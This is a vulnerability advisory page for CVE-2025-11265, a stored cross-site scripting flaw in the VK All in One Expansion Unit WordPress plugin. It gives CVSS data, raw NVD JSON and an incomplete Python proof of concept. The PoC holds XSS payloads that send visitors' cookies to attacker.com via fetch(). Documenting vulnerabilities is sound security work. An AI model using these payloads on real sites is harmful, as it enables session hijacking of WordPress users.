Security Vulnerability Report
中文
CVE-2025-11265 CVSS 6.4 MEDIUM

CVE-2025-11265

Published: 2025-11-18 08:15:51
Last Modified: 2026-04-15 00:35:42

Description

The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vkExUnit_cta_url' and 'vkExUnit_cta_button_text' parameters in all versions up to, and including, 9.112.1. This is due to a logic error in the CTA save function that reads sanitization callbacks from the wrong variable ($custom_field_name instead of $custom_field_options), causing the sanitization to never be applied. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that execute when a user accesses an injected page.",

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

VK All in One Expansion Unit ≤ 9.112.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11265 PoC - VK All in One Expansion Unit Stored XSS # Requires Contributor-level access to WordPress import requests import re target_url = "http://target-wordpress-site.com" username = "attacker_contributor" password = "attacker_password" # Step 1: Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/admin.php?page=vkExUnit_general", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Inject XSS payload via CTA settings # Vulnerable parameters: vkExUnit_cta_url and vkExUnit_cta_button_text cta_settings_url = f"{target_url}/wp-admin/admin.php?page=vkExUnit_general" xss_payload_url = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' xss_payload_button = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' cta_data = { "vkExUnit_cta_url": xss_payload_url, "vkExUnit_cta_button_text": xss_payload_button, "vkExUnit_cta_nonce": "", # Need to extract from page "action": "vkExUnit_cta_save", "_wpnonce": "" } # Note: This PoC demonstrates the vulnerability concept # Actual exploitation requires proper nonce extraction and request construction # The injected script will execute when any user visits pages containing the CTA

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11265", "sourceIdentifier": "[email protected]", "published": "2025-11-18T08:15:50.677", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vkExUnit_cta_url' and 'vkExUnit_cta_button_text' parameters in all versions up to, and including, 9.112.1. This is due to a logic error in the CTA save function that reads sanitization callbacks from the wrong variable ($custom_field_name instead of $custom_field_options), causing the sanitization to never be applied. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that execute when a user accesses an injected page.\","}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/vk-all-in-one-expansion-unit/tags/9.112.0.1/inc/call-to-action/package/block/index.php#L259", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/vk-all-in-one-expansion-unit/tags/9.112.0.1/inc/call-to-action/package/block/index.php#L271", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/vk-all-in-one-expansion-unit/tags/9.112.0.1/inc/call-to-action/package/class-vk-call-to-action.php#L198", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3394731%40vk-all-in-one-expansion-unit%2Ftrunk&old=3385606%40vk-all-in-one-expansion-unit%2Ftrunk&sfp_email=&sfph_mail=#file2", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9e5a6158-03d4-4ac7-8a4b-666cedabb433?source=cve", "source": "[email protected]"}]}}